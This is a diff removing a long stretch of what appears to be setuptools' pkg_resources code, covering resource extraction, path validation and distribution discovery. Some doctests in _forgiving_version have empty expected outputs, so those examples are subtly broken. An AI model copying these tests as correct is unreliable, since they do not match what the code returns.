-    def resource_listdir(self, package_or_requirement: _PkgReqType, resource_name: str):
-        """List the contents of the named resource directory"""
-        return get_provider(package_or_requirement).resource_listdir(resource_name)
-
-    def extraction_error(self) -> NoReturn:
-        """Give an error message for problems extracting file(s)"""
-
-        old_exc = sys.exc_info()[1]
-        cache_path = self.extraction_path or get_default_cache()
-
-        tmpl = textwrap.dedent(
-            """
-            Can't extract file(s) to egg cache
-
-            The following error occurred while trying to extract file(s)
-            to the Python egg cache:
-
-              {old_exc}
-
-            The Python egg cache directory is currently set to:
-
-              {cache_path}
-
-            Perhaps your account does not have write access to this directory?
-            You can change the cache directory by setting the PYTHON_EGG_CACHE
-            environment variable to point to an accessible directory.
-            """
-        ).lstrip()
-        err = ExtractionError(tmpl.format(**locals()))
-        err.manager = self
-        err.cache_path = cache_path
-        err.original_error = old_exc
-        raise err
-
-    def get_cache_path(self, archive_name: str, names: Iterable[StrPath] = ()):
-        """Return absolute location in cache for `archive_name` and `names`
-
-        The parent directory of the resulting path will be created if it does
-        not already exist.  `archive_name` should be the base filename of the
-        enclosing egg (which may not be the name of the enclosing zipfile!),
-        including its ".egg" extension.  `names`, if provided, should be a
-        sequence of path name parts "under" the egg's extraction location.
-
-        This method should only be called by resource providers that need to
-        obtain an extraction location, and only for names they intend to
-        extract, as it tracks the generated names for possible cleanup later.
-        """
-        extract_path = self.extraction_path or get_default_cache()
-        target_path = os.path.join(extract_path, archive_name + '-tmp', *names)
-        try:
-            _bypass_ensure_directory(target_path)
-        except Exception:
-            self.extraction_error()
-
-        self._warn_unsafe_extraction_path(extract_path)
-
-        self.cached_files[target_path] = True
-        return target_path
-
-    @staticmethod
-    def _warn_unsafe_extraction_path(path):
-        """
-        If the default extraction path is overridden and set to an insecure
-        location, such as /tmp, it opens up an opportunity for an attacker to
-        replace an extracted file with an unauthorized payload. Warn the user
-        if a known insecure location is used.
-
-        See Distribute #375 for more details.
-        """
-        if os.name == 'nt' and not path.startswith(os.environ['windir']):
-            # On Windows, permissions are generally restrictive by default
-            #  and temp directories are not writable by other users, so
-            #  bypass the warning.
-            return
-        mode = os.stat(path).st_mode
-        if mode & stat.S_IWOTH or mode & stat.S_IWGRP:
-            msg = (
-                "Extraction path is writable by group/others "
-                "and vulnerable to attack when "
-                "used with get_resource_filename ({path}). "
-                "Consider a more secure "
-                "location (set with .set_extraction_path or the "
-                "PYTHON_EGG_CACHE environment variable)."
-            ).format(**locals())
-            warnings.warn(msg, UserWarning)
-
-    def postprocess(self, tempname: StrOrBytesPath, filename: StrOrBytesPath):
-        """Perform any platform-specific postprocessing of `tempname`
-
-        This is where Mac header rewrites should be done; other platforms don't
-        have anything special they should do.
-
-        Resource providers should call this method ONLY after successfully
-        extracting a compressed resource.  They must NOT call it on resources
-        that are already in the filesystem.
-
-        `tempname` is the current (temporary) name of the file, and `filename`
-        is the name it will be renamed to by the caller after this routine
-        returns.
-        """
-
-        if os.name == 'posix':
-            # Make the resource executable
-            mode = ((os.stat(tempname).st_mode) | 0o555) & 0o7777
-            os.chmod(tempname, mode)
-
-    def set_extraction_path(self, path: str):
-        """Set the base path where resources will be extracted to, if needed.
-
-        If you do not call this routine before any extractions take place, the
-        path defaults to the return value of ``get_default_cache()``.  (Which
-        is based on the ``PYTHON_EGG_CACHE`` environment variable, with various
-        platform-specific fallbacks.  See that routine's documentation for more
-        details.)
-
-        Resources are extracted to subdirectories of this path based upon
-        information given by the ``IResourceProvider``.  You may set this to a
-        temporary directory, but then you must call ``cleanup_resources()`` to
-        delete the extracted files when done.  There is no guarantee that
-        ``cleanup_resources()`` will be able to remove all extracted files.
-
-        (Note: you may not change the extraction path for a given resource
-        manager once resources have been extracted, unless you first call
-        ``cleanup_resources()``.)
-        """
-        if self.cached_files:
-            raise ValueError("Can't change extraction path, files already extracted")
-
-        self.extraction_path = path
-
-    def cleanup_resources(self, force: bool = False) -> list[str]:
-        """
-        Delete all extracted resource files and directories, returning a list
-        of the file and directory names that could not be successfully removed.
-        This function does not have any concurrency protection, so it should
-        generally only be called when the extraction path is a temporary
-        directory exclusive to a single process.  This method is not
-        automatically called; you must call it explicitly or register it as an
-        ``atexit`` function if you wish to ensure cleanup of a temporary
-        directory used for extractions.
-        """
-        # XXX
-        return []
-
-
-def get_default_cache() -> str:
-    """
-    Return the ``PYTHON_EGG_CACHE`` environment variable
-    or a platform-relevant user cache dir for an app
-    named "Python-Eggs".
-    """
-    return os.environ.get('PYTHON_EGG_CACHE') or _user_cache_dir(appname='Python-Eggs')
-
-
-def safe_name(name: str):
-    """Convert an arbitrary string to a standard distribution name
-
-    Any runs of non-alphanumeric/. characters are replaced with a single '-'.
-    """
-    return re.sub('[^A-Za-z0-9.]+', '-', name)
-
-
-def safe_version(version: str):
-    """
-    Convert an arbitrary string to a standard version string
-    """
-    try:
-        # normalize the version
-        return str(_packaging_version.Version(version))
-    except _packaging_version.InvalidVersion:
-        version = version.replace(' ', '.')
-        return re.sub('[^A-Za-z0-9.]+', '-', version)
-
-
-def _forgiving_version(version):
-    """Fallback when ``safe_version`` is not safe enough
-    >>> parse_version(_forgiving_version('0.23ubuntu1'))
-    
-    >>> parse_version(_forgiving_version('0.23-'))
-    
-    >>> parse_version(_forgiving_version('0.-_'))
-    
-    >>> parse_version(_forgiving_version('42.+?1'))
-    
-    >>> parse_version(_forgiving_version('hello world'))
-    
-    """
-    version = version.replace(' ', '.')
-    match = _PEP440_FALLBACK.search(version)
-    if match:
-        safe = match["safe"]
-        rest = version[len(safe) :]
-    else:
-        safe = "0"
-        rest = version
-    local = f"sanitized.{_safe_segment(rest)}".strip(".")
-    return f"{safe}.dev0+{local}"
-
-
-def _safe_segment(segment):
-    """Convert an arbitrary string into a safe segment"""
-    segment = re.sub('[^A-Za-z0-9.]+', '-', segment)
-    segment = re.sub('-[^A-Za-z0-9]+', '-', segment)
-    return re.sub(r'\.[^A-Za-z0-9]+', '.', segment).strip(".-")
-
-
-def safe_extra(extra: str):
-    """Convert an arbitrary string to a standard 'extra' name
-
-    Any runs of non-alphanumeric characters are replaced with a single '_',
-    and the result is always lowercased.
-    """
-    return re.sub('[^A-Za-z0-9.-]+', '_', extra).lower()
-
-
-def to_filename(name: str):
-    """Convert a project or version name to its filename-escaped form
-
-    Any '-' characters are currently replaced with '_'.
-    """
-    return name.replace('-', '_')
-
-
-def invalid_marker(text: str):
-    """
-    Validate text as a PEP 508 environment marker; return an exception
-    if invalid or False otherwise.
-    """
-    try:
-        evaluate_marker(text)
-    except SyntaxError as e:
-        e.filename = None
-        e.lineno = None
-        return e
-    return False
-
-
-def evaluate_marker(text: str, extra: str | None = None) -> bool:
-    """
-    Evaluate a PEP 508 environment marker.
-    Return a boolean indicating the marker result in this environment.
-    Raise SyntaxError if marker is invalid.
-
-    This implementation uses the 'pyparsing' module.
-    """
-    try:
-        marker = _packaging_markers.Marker(text)
-        return marker.evaluate()
-    except _packaging_markers.InvalidMarker as e:
-        raise SyntaxError(e) from e
-
-
-class NullProvider:
-    """Try to implement resources and metadata for arbitrary PEP 302 loaders"""
-
-    egg_name: str | None = None
-    egg_info: str | None = None
-    loader: _LoaderProtocol | None = None
-
-    def __init__(self, module: _ModuleLike):
-        self.loader = getattr(module, '__loader__', None)
-        self.module_path = os.path.dirname(getattr(module, '__file__', ''))
-
-    def get_resource_filename(self, manager: ResourceManager, resource_name: str):
-        return self._fn(self.module_path, resource_name)
-
-    def get_resource_stream(self, manager: ResourceManager, resource_name: str):
-        return io.BytesIO(self.get_resource_string(manager, resource_name))
-
-    def get_resource_string(
-        self, manager: ResourceManager, resource_name: str
-    ) -> bytes:
-        return self._get(self._fn(self.module_path, resource_name))
-
-    def has_resource(self, resource_name: str):
-        return self._has(self._fn(self.module_path, resource_name))
-
-    def _get_metadata_path(self, name):
-        return self._fn(self.egg_info, name)
-
-    def has_metadata(self, name: str) -> bool:
-        if not self.egg_info:
-            return False
-
-        path = self._get_metadata_path(name)
-        return self._has(path)
-
-    def get_metadata(self, name: str):
-        if not self.egg_info:
-            return ""
-        path = self._get_metadata_path(name)
-        value = self._get(path)
-        try:
-            return value.decode('utf-8')
-        except UnicodeDecodeError as exc:
-            # Include the path in the error message to simplify
-            # troubleshooting, and without changing the exception type.
-            exc.reason += ' in {} file at path: {}'.format(name, path)
-            raise
-
-    def get_metadata_lines(self, name: str) -> Iterator[str]:
-        return yield_lines(self.get_metadata(name))
-
-    def resource_isdir(self, resource_name: str):
-        return self._isdir(self._fn(self.module_path, resource_name))
-
-    def metadata_isdir(self, name: str) -> bool:
-        return bool(self.egg_info and self._isdir(self._fn(self.egg_info, name)))
-
-    def resource_listdir(self, resource_name: str):
-        return self._listdir(self._fn(self.module_path, resource_name))
-
-    def metadata_listdir(self, name: str) -> list[str]:
-        if self.egg_info:
-            return self._listdir(self._fn(self.egg_info, name))
-        return []
-
-    def run_script(self, script_name: str, namespace: dict[str, Any]):
-        script = 'scripts/' + script_name
-        if not self.has_metadata(script):
-            raise ResolutionError(
-                "Script {script!r} not found in metadata at {self.egg_info!r}".format(
-                    **locals()
-                ),
-            )
-
-        script_text = self.get_metadata(script).replace('\r\n', '\n')
-        script_text = script_text.replace('\r', '\n')
-        script_filename = self._fn(self.egg_info, script)
-        namespace['__file__'] = script_filename
-        if os.path.exists(script_filename):
-            source = _read_utf8_with_fallback(script_filename)
-            code = compile(source, script_filename, 'exec')
-            exec(code, namespace, namespace)
-        else:
-            from linecache import cache
-
-            cache[script_filename] = (
-                len(script_text),
-                0,
-                script_text.split('\n'),
-                script_filename,
-            )
-            script_code = compile(script_text, script_filename, 'exec')
-            exec(script_code, namespace, namespace)
-
-    def _has(self, path) -> bool:
-        raise NotImplementedError(
-            "Can't perform this operation for unregistered loader type"
-        )
-
-    def _isdir(self, path) -> bool:
-        raise NotImplementedError(
-            "Can't perform this operation for unregistered loader type"
-        )
-
-    def _listdir(self, path) -> list[str]:
-        raise NotImplementedError(
-            "Can't perform this operation for unregistered loader type"
-        )
-
-    def _fn(self, base: str | None, resource_name: str):
-        if base is None:
-            raise TypeError(
-                "`base` parameter in `_fn` is `None`. Either override this method or check the parameter first."
-            )
-        self._validate_resource_path(resource_name)
-        if resource_name:
-            return os.path.join(base, *resource_name.split('/'))
-        return base
-
-    @staticmethod
-    def _validate_resource_path(path):
-        """
-        Validate the resource paths according to the docs.
-        https://setuptools.pypa.io/en/latest/pkg_resources.html#basic-resource-access
-
-        >>> warned = getfixture('recwarn')
-        >>> warnings.simplefilter('always')
-        >>> vrp = NullProvider._validate_resource_path
-        >>> vrp('foo/bar.txt')
-        >>> bool(warned)
-        False
-        >>> vrp('../foo/bar.txt')
-        >>> bool(warned)
-        True
-        >>> warned.clear()
-        >>> vrp('/foo/bar.txt')
-        >>> bool(warned)
-        True
-        >>> vrp('foo/../../bar.txt')
-        >>> bool(warned)
-        True
-        >>> warned.clear()
-        >>> vrp('foo/f../bar.txt')
-        >>> bool(warned)
-        False
-
-        Windows path separators are straight-up disallowed.
-        >>> vrp(r'\\foo/bar.txt')
-        Traceback (most recent call last):
-        ...
-        ValueError: Use of .. or absolute path in a resource path \
-is not allowed.
-
-        >>> vrp(r'C:\\foo/bar.txt')
-        Traceback (most recent call last):
-        ...
-        ValueError: Use of .. or absolute path in a resource path \
-is not allowed.
-
-        Blank values are allowed
-
-        >>> vrp('')
-        >>> bool(warned)
-        False
-
-        Non-string values are not.
-
-        >>> vrp(None)
-        Traceback (most recent call last):
-        ...
-        AttributeError: ...
-        """
-        invalid = (
-            os.path.pardir in path.split(posixpath.sep)
-            or posixpath.isabs(path)
-            or ntpath.isabs(path)
-            or path.startswith("\\")
-        )
-        if not invalid:
-            return
-
-        msg = "Use of .. or absolute path in a resource path is not allowed."
-
-        # Aggressively disallow Windows absolute paths
-        if (path.startswith("\\") or ntpath.isabs(path)) and not posixpath.isabs(path):
-            raise ValueError(msg)
-
-        # for compatibility, warn; in future
-        # raise ValueError(msg)
-        issue_warning(
-            msg[:-1] + " and will raise exceptions in a future release.",
-            DeprecationWarning,
-        )
-
-    def _get(self, path) -> bytes:
-        if hasattr(self.loader, 'get_data') and self.loader:
-            # Already checked get_data exists
-            return self.loader.get_data(path)  # type: ignore[attr-defined]
-        raise NotImplementedError(
-            "Can't perform this operation for loaders without 'get_data()'"
-        )
-
-
-register_loader_type(object, NullProvider)
-
-
-def _parents(path):
-    """
-    yield all parents of path including path
-    """
-    last = None
-    while path != last:
-        yield path
-        last = path
-        path, _ = os.path.split(path)
-
-
-class EggProvider(NullProvider):
-    """Provider based on a virtual filesystem"""
-
-    def __init__(self, module: _ModuleLike):
-        super().__init__(module)
-        self._setup_prefix()
-
-    def _setup_prefix(self):
-        # Assume that metadata may be nested inside a "basket"
-        # of multiple eggs and use module_path instead of .archive.
-        eggs = filter(_is_egg_path, _parents(self.module_path))
-        egg = next(eggs, None)
-        egg and self._set_egg(egg)
-
-    def _set_egg(self, path: str):
-        self.egg_name = os.path.basename(path)
-        self.egg_info = os.path.join(path, 'EGG-INFO')
-        self.egg_root = path
-
-
-class DefaultProvider(EggProvider):
-    """Provides access to package resources in the filesystem"""
-
-    def _has(self, path) -> bool:
-        return os.path.exists(path)
-
-    def _isdir(self, path) -> bool:
-        return os.path.isdir(path)
-
-    def _listdir(self, path):
-        return os.listdir(path)
-
-    def get_resource_stream(self, manager: object, resource_name: str):
-        return open(self._fn(self.module_path, resource_name), 'rb')
-
-    def _get(self, path) -> bytes:
-        with open(path, 'rb') as stream:
-            return stream.read()
-
-    @classmethod
-    def _register(cls):
-        loader_names = (
-            'SourceFileLoader',
-            'SourcelessFileLoader',
-        )
-        for name in loader_names:
-            loader_cls = getattr(importlib.machinery, name, type(None))
-            register_loader_type(loader_cls, cls)
-
-
-DefaultProvider._register()
-
-
-class EmptyProvider(NullProvider):
-    """Provider that returns nothing for all requests"""
-
-    # A special case, we don't want all Providers inheriting from NullProvider to have a potentially None module_path
-    module_path: str | None = None  # type: ignore[assignment]
-
-    _isdir = _has = lambda self, path: False
-
-    def _get(self, path) -> bytes:
-        return b''
-
-    def _listdir(self, path):
-        return []
-
-    def __init__(self):
-        pass
-
-
-empty_provider = EmptyProvider()
-
-
-class ZipManifests(Dict[str, "MemoizedZipManifests.manifest_mod"]):
-    """
-    zip manifest builder
-    """
-
-    # `path` could be `StrPath | IO[bytes]` but that violates the LSP for `MemoizedZipManifests.load`
-    @classmethod
-    def build(cls, path: str):
-        """
-        Build a dictionary similar to the zipimport directory
-        caches, except instead of tuples, store ZipInfo objects.
-
-        Use a platform-specific path separator (os.sep) for the path keys
-        for compatibility with pypy on Windows.
-        """
-        with zipfile.ZipFile(path) as zfile:
-            items = (
-                (
-                    name.replace('/', os.sep),
-                    zfile.getinfo(name),
-                )
-                for name in zfile.namelist()
-            )
-            return dict(items)
-
-    load = build
-
-
-class MemoizedZipManifests(ZipManifests):
-    """
-    Memoized zipfile manifests.
-    """
-
-    class manifest_mod(NamedTuple):
-        manifest: dict[str, zipfile.ZipInfo]
-        mtime: float
-
-    def load(self, path: str) -> dict[str, zipfile.ZipInfo]:  # type: ignore[override] # ZipManifests.load is a classmethod
-        """
-        Load a manifest at path or return a suitable manifest already loaded.
-        """
-        path = os.path.normpath(path)
-        mtime = os.stat(path).st_mtime
-
-        if path not in self or self[path].mtime != mtime:
-            manifest = self.build(path)
-            self[path] = self.manifest_mod(manifest, mtime)
-
-        return self[path].manifest
-
-
-class ZipProvider(EggProvider):
-    """Resource support for zips and eggs"""
-
-    eagers: list[str] | None = None
-    _zip_manifests = MemoizedZipManifests()
-    # ZipProvider's loader should always be a zipimporter or equivalent
-    loader: zipimport.zipimporter
-
-    def __init__(self, module: _ZipLoaderModule):
-        super().__init__(module)
-        self.zip_pre = self.loader.archive + os.sep
-
-    def _zipinfo_name(self, fspath):
-        # Convert a virtual filename (full path to file) into a zipfile subpath
-        # usable with the zipimport directory cache for our target archive
-        fspath = fspath.rstrip(os.sep)
-        if fspath == self.loader.archive:
-            return ''
-        if fspath.startswith(self.zip_pre):
-            return fspath[len(self.zip_pre) :]
-        raise AssertionError("%s is not a subpath of %s" % (fspath, self.zip_pre))
-
-    def _parts(self, zip_path):
-        # Convert a zipfile subpath into an egg-relative path part list.
-        # pseudo-fs path
-        fspath = self.zip_pre + zip_path
-        if fspath.startswith(self.egg_root + os.sep):
-            return fspath[len(self.egg_root) + 1 :].split(os.sep)
-        raise AssertionError("%s is not a subpath of %s" % (fspath, self.egg_root))
-
-    @property
-    def zipinfo(self):
-        return self._zip_manifests.load(self.loader.archive)
-
-    def get_resource_filename(self, manager: ResourceManager, resource_name: str):
-        if not self.egg_name:
-            raise NotImplementedError(
-                "resource_filename() only supported for .egg, not .zip"
-            )
-        # no need to lock for extraction, since we use temp names
-        zip_path = self._resource_to_zip(resource_name)
-        eagers = self._get_eager_resources()
-        if '/'.join(self._parts(zip_path)) in eagers:
-            for name in eagers:
-                self._extract_resource(manager, self._eager_to_zip(name))
-        return self._extract_resource(manager, zip_path)
-
-    @staticmethod
-    def _get_date_and_size(zip_stat):
-        size = zip_stat.file_size
-        # ymdhms+wday, yday, dst
-        date_time = zip_stat.date_time + (0, 0, -1)
-        # 1980 offset already done
-        timestamp = time.mktime(date_time)
-        return timestamp, size
-
-    # FIXME: 'ZipProvider._extract_resource' is too complex (12)
-    def _extract_resource(self, manager: ResourceManager, zip_path) -> str:  # noqa: C901
-        if zip_path in self._index():
-            for name in self._index()[zip_path]:
-                last = self._extract_resource(manager, os.path.join(zip_path, name))
-            # return the extracted directory name
-            return os.path.dirname(last)
-
-        timestamp, size = self._get_date_and_size(self.zipinfo[zip_path])
-
-        if not WRITE_SUPPORT:
-            raise OSError(
-                '"os.rename" and "os.unlink" are not supported on this platform'
-            )
-        try:
-            if not self.egg_name:
-                raise OSError(
-                    '"egg_name" is empty. This likely means no egg could be found from the "module_path".'
-                )
-            real_path = manager.get_cache_path(self.egg_name, self._parts(zip_path))
-
-            if self._is_current(real_path, zip_path):
-                return real_path
-
-            outf, tmpnam = _mkstemp(
-                ".$extract",
-                dir=os.path.dirname(real_path),
-            )
-            os.write(outf, self.loader.get_data(zip_path))
-            os.close(outf)
-            utime(tmpnam, (timestamp, timestamp))
-            manager.postprocess(tmpnam, real_path)
-
-            try:
-                rename(tmpnam, real_path)
-
-            except OSError:
-                if os.path.isfile(real_path):
-                    if self._is_current(real_path, zip_path):
-                        # the file became current since it was checked above,
-                        #  so proceed.
-                        return real_path
-                    # Windows, del old file and retry
-                    elif os.name == 'nt':
-                        unlink(real_path)
-                        rename(tmpnam, real_path)
-                        return real_path
-                raise
-
-        except OSError:
-            # report a user-friendly error
-            manager.extraction_error()
-
-        return real_path
-
-    def _is_current(self, file_path, zip_path):
-        """
-        Return True if the file_path is current for this zip_path
-        """
-        timestamp, size = self._get_date_and_size(self.zipinfo[zip_path])
-        if not os.path.isfile(file_path):
-            return False
-        stat = os.stat(file_path)
-        if stat.st_size != size or stat.st_mtime != timestamp:
-            return False
-        # check that the contents match
-        zip_contents = self.loader.get_data(zip_path)
-        with open(file_path, 'rb') as f:
-            file_contents = f.read()
-        return zip_contents == file_contents
-
-    def _get_eager_resources(self):
-        if self.eagers is None:
-            eagers = []
-            for name in ('native_libs.txt', 'eager_resources.txt'):
-                if self.has_metadata(name):
-                    eagers.extend(self.get_metadata_lines(name))
-            self.eagers = eagers
-        return self.eagers
-
-    def _index(self):
-        try:
-            return self._dirindex
-        except AttributeError:
-            ind = {}
-            for path in self.zipinfo:
-                parts = path.split(os.sep)
-                while parts:
-                    parent = os.sep.join(parts[:-1])
-                    if parent in ind:
-                        ind[parent].append(parts[-1])
-                        break
-                    else:
-                        ind[parent] = [parts.pop()]
-            self._dirindex = ind
-            return ind
-
-    def _has(self, fspath) -> bool:
-        zip_path = self._zipinfo_name(fspath)
-        return zip_path in self.zipinfo or zip_path in self._index()
-
-    def _isdir(self, fspath) -> bool:
-        return self._zipinfo_name(fspath) in self._index()
-
-    def _listdir(self, fspath):
-        return list(self._index().get(self._zipinfo_name(fspath), ()))
-
-    def _eager_to_zip(self, resource_name: str):
-        return self._zipinfo_name(self._fn(self.egg_root, resource_name))
-
-    def _resource_to_zip(self, resource_name: str):
-        return self._zipinfo_name(self._fn(self.module_path, resource_name))
-
-
-register_loader_type(zipimport.zipimporter, ZipProvider)
-
-
-class FileMetadata(EmptyProvider):
-    """Metadata handler for standalone PKG-INFO files
-
-    Usage::
-
-        metadata = FileMetadata("/path/to/PKG-INFO")
-
-    This provider rejects all data and metadata requests except for PKG-INFO,
-    which is treated as existing, and will be the contents of the file at
-    the provided location.
-    """
-
-    def __init__(self, path: StrPath):
-        self.path = path
-
-    def _get_metadata_path(self, name):
-        return self.path
-
-    def has_metadata(self, name: str) -> bool:
-        return name == 'PKG-INFO' and os.path.isfile(self.path)
-
-    def get_metadata(self, name: str):
-        if name != 'PKG-INFO':
-            raise KeyError("No metadata except PKG-INFO is available")
-
-        with open(self.path, encoding='utf-8', errors="replace") as f:
-            metadata = f.read()
-        self._warn_on_replacement(metadata)
-        return metadata
-
-    def _warn_on_replacement(self, metadata):
-        replacement_char = '�'
-        if replacement_char in metadata:
-            tmpl = "{self.path} could not be properly decoded in UTF-8"
-            msg = tmpl.format(**locals())
-            warnings.warn(msg)
-
-    def get_metadata_lines(self, name: str) -> Iterator[str]:
-        return yield_lines(self.get_metadata(name))
-
-
-class PathMetadata(DefaultProvider):
-    """Metadata provider for egg directories
-
-    Usage::
-
-        # Development eggs:
-
-        egg_info = "/path/to/PackageName.egg-info"
-        base_dir = os.path.dirname(egg_info)
-        metadata = PathMetadata(base_dir, egg_info)
-        dist_name = os.path.splitext(os.path.basename(egg_info))[0]
-        dist = Distribution(basedir, project_name=dist_name, metadata=metadata)
-
-        # Unpacked egg directories:
-
-        egg_path = "/path/to/PackageName-ver-pyver-etc.egg"
-        metadata = PathMetadata(egg_path, os.path.join(egg_path,'EGG-INFO'))
-        dist = Distribution.from_filename(egg_path, metadata=metadata)
-    """
-
-    def __init__(self, path: str, egg_info: str):
-        self.module_path = path
-        self.egg_info = egg_info
-
-
-class EggMetadata(ZipProvider):
-    """Metadata provider for .egg files"""
-
-    def __init__(self, importer: zipimport.zipimporter):
-        """Create a metadata provider from a zipimporter"""
-
-        self.zip_pre = importer.archive + os.sep
-        self.loader = importer
-        if importer.prefix:
-            self.module_path = os.path.join(importer.archive, importer.prefix)
-        else:
-            self.module_path = importer.archive
-        self._setup_prefix()
-
-
-_distribution_finders: dict[type, _DistFinderType[Any]] = _declare_state(
-    'dict', '_distribution_finders', {}
-)
-
-
-def register_finder(importer_type: type[_T], distribution_finder: _DistFinderType[_T]):
-    """Register `distribution_finder` to find distributions in sys.path items
-
-    `importer_type` is the type or class of a PEP 302 "Importer" (sys.path item
-    handler), and `distribution_finder` is a callable that, passed a path
-    item and the importer instance, yields ``Distribution`` instances found on
-    that path item.  See ``pkg_resources.find_on_path`` for an example."""
-    _distribution_finders[importer_type] = distribution_finder
-
-
-def find_distributions(path_item: str, only: bool = False):
-    """Yield distributions accessible via `path_item`"""
-    importer = get_importer(path_item)
-    finder = _find_adapter(_distribution_finders, importer)
-    return finder(importer, path_item, only)
-
-
-def find_eggs_in_zip(
-    importer: zipimport.zipimporter, path_item: str, only: bool = False
-) -> Iterator[Distribution]:
-    """
-    Find eggs in zip files; possibly multiple nested eggs.
-    """
-    if importer.archive.endswith('.whl'):
-        # wheels are not supported with this finder
-        # they don't have PKG-INFO metadata, and won't ever contain eggs
-        return
-    metadata = EggMetadata(importer)
-    if metadata.has_metadata('PKG-INFO'):
-        yield Distribution.from_filename(path_item, metadata=metadata)
-    if only:
-        # don't yield nested distros
-        return
-    for subitem in metadata.resource_listdir(''):
-        if _is_egg_path(subitem):
-            subpath = os.path.join(path_item, subitem)
-            dists = find_eggs_in_zip(zipimport.zipimporter(subpath), subpath)
-            yield from dists
-        elif subitem.lower().endswith(('.dist-info', '.egg-info')):
-            subpath = os.path.join(path_item, subitem)
-            submeta = EggMetadata(zipimport.zipimporter(subpath))
-            submeta.egg_info = subpath
-            yield Distribution.from_location(path_item, subitem, submeta)
-
-
-register_finder(zipimport.zipimporter, find_eggs_in_zip)
-
-
-def find_nothing(
-    importer: object | None, path_item: str | None, only: bool | None = False
-):
-    return ()
-
-
-register_finder(object, find_nothing)
-
-
-def find_on_path(importer: object | None, path_item, only=False):
-    """Yield distributions accessible on a sys.path directory"""
-    path_item = _normalize_cached(path_item)
-
-    if _is_unpacked_egg(path_item):
-        yield Distribution.from_filename(
-            path_item,
-            metadata=PathMetadata(path_item, os.path.join(path_item, 'EGG-INFO')),
-        )
-        return
-
-    entries = (os.path.join(path_item, child) for child in safe_listdir(path_item))
-
-    # scan for .egg and .egg-info in directory
-    for entry in sorted(entries):
-        fullpath = os.path.join(path_item, entry)
-        factory = dist_factory(path_item, entry, only)
-        yield from factory(fullpath)
-
-
-def dist_factory(path_item, entry, only):
-    """Return a dist_factory for the given entry."""
-    lower = entry.lower()
-    is_egg_info = lower.endswith('.egg-info')
-    is_dist_info = lower.endswith('.dist-info') and os.path.isdir(
-        os.path.join(path_item, entry)
-    )
-    is_meta = is_egg_info or is_dist_info
-    return (
-        distributions_from_metadata
-        if is_meta
-        else find_distributions
-        if not only and _is_egg_path(entry)
-        else resolve_egg_link
-        if not only and lower.endswith('.egg-link')
-        else NoDists()
-    )
-
-
-class NoDists:
-    """
-    >>> bool(NoDists())
-    False
-
-    >>> list(NoDists()('anything'))
-    []
-    """
-
-    def __bool__(self):
-        return False
-
-    def __call__(self, fullpath):
-        return iter(())
-
-
-def safe_listdir(path: StrOrBytesPath):
-    """
-    Attempt to list contents of path, but suppress some exceptions.
-    """
-    try:
-        return os.listdir(path)
-    except (PermissionError, NotADirectoryError):
-        pass
-    except OSError as e:
-        # Ignore the directory if does not exist, not a directory or
-        # permission denied
-        if e.errno not in (errno.ENOTDIR, errno.EACCES, errno.ENOENT):
-            raise
-    return ()
-
-
-def distributions_from_metadata(path: str):
-    root = os.path.dirname(path)
-    if os.path.isdir(path):
-        if len(os.listdir(path)) == 0:
-            # empty metadata dir; skip
-            return
-        metadata: _MetadataType = PathMetadata(root, path)
-    else:
-        metadata = FileMetadata(path)
-    entry = os.path.basename(path)
-    yield Distribution.from_location(
-        root,
-        entry,
-        metadata,
-        precedence=DEVELOP_DIST,
-    )
-
-
-def non_empty_lines(path):
-    """
-    Yield non-empty lines from file at path
-    """
-    for line in _read_utf8_with_fallback(path).splitlines():
-        line = line.strip()
-        if line:
-            yield line
-
-
-def resolve_egg_link(path):
-    """
-    Given a path to an .egg-link, resolve distributions
-    present in the referenced path.
-    """
-    referenced_paths = non_empty_lines(path)
-    resolved_paths = (
-        os.path.join(os.path.dirname(path), ref) for ref in referenced_paths
-    )
-    dist_groups = map(find_distributions, resolved_paths)
-    return next(dist_groups, ())
-
-
-if hasattr(pkgutil, 'ImpImporter'):
-    register_finder(pkgutil.ImpImporter, find_on_path)
-
-register_finder(importlib.machinery.FileFinder, find_on_path)
-
-_namespace_handlers: dict[type, _NSHandlerType[Any]] = _declare_state(
-    'dict', '_namespace_handlers', {}
-)
-_namespace_packages: dict[str | None, list[str]] = _declare_state(
-    'dict', '_namespace_packages', {}
-)
-
-
-def register_namespace_handler(
-    importer_type: type[_T], namespace_handler: _NSHandlerType[_T]
-):
-    """Register `namespace_handler` to declare namespace packages
-
-    `importer_type` is the type or class of a PEP 302 "Importer" (sys.path item
-    handler), and `namespace_handler` is a callable like this::
-
-        def namespace_handler(importer, path_entry, moduleName, module):
-            # return a path_entry to use for child packages
-
-    Namespace handlers are only called if the importer object has already
-    agreed that it can handle the relevant path item, and they should only
-    return a subpath if the module __path__ does not already contain an
-    equivalent subpath.  For an example namespace handler, see
-    ``pkg_resources.file_ns_handler``.
-    """
-    _namespace_handlers[importer_type] = namespace_handler
-
-
-def _handle_ns(packageName, path_item):
-    """Ensure that named package includes a subpath of path_item (if needed)"""
-
-    importer = get_importer(path_item)
-    if importer is None:
-        return None
-
-    # use find_spec (PEP 451) and fall-back to find_module (PEP 302)
-    try:
-        spec = importer.find_spec(packageName)
-    except AttributeError:
-        # capture warnings due to #1111
-        with warnings.catch_warnings():
-            warnings.simplefilter("ignore")
-            loader = importer.find_module(packageName)
-    else:
-        loader = spec.loader if spec else None
-
-    if loader is None:
-        return None
-    module = sys.modules.get(packageName)
-    if module is None:
-        module = sys.modules[packageName] = types.ModuleType(packageName)
-        module.__path__ = []
-        _set_parent_ns(packageName)
-    elif not hasattr(module, '__path__'):
-        raise TypeError("Not a package:", packageName)
-    handler = _find_adapter(_namespace_handlers, importer)
-    subpath = handler(importer, path_item, packageName, module)
-    if subpath is not None:
-        path = module.__path__
-        path.append(subpath)
-        importlib.import_module(packageName)
-        _rebuild_mod_path(path, packageName, module)
-    return subpath
-
-
-def _rebuild_mod_path(orig_path, package_name, module: types.ModuleType):
-    """
-    Rebuild module.__path__ ensuring that all entries are ordered
-    corresponding to their sys.path order
-    """
-    sys_path = [_normalize_cached(p) for p in sys.path]
-
-    def safe_sys_path_index(entry):
-        """
-        Workaround for #520 and #513.
-        """
-        try:
-            return sys_path.index(entry)
-        except ValueError:
-            return float('inf')
-
-    def position_in_sys_path(path):
-        """
-        Return the ordinal of the path based on its position in sys.path
-        """
-        path_parts = path.split(os.sep)
-        module_parts = package_name.count('.') + 1
-        parts = path_parts[:-module_parts]
-        return safe_sys_path_index(_normalize_cached(os.sep.join(parts)))
-
-    new_path = sorted(orig_path, key=position_in_sys_path)
-    new_path = [_normalize_cached(p) for p in new_path]
-
-    if isinstance(module.__path__, list):
-        module.__path__[:] = new_path
-    else:
-        module.__path__ = new_path
-
-
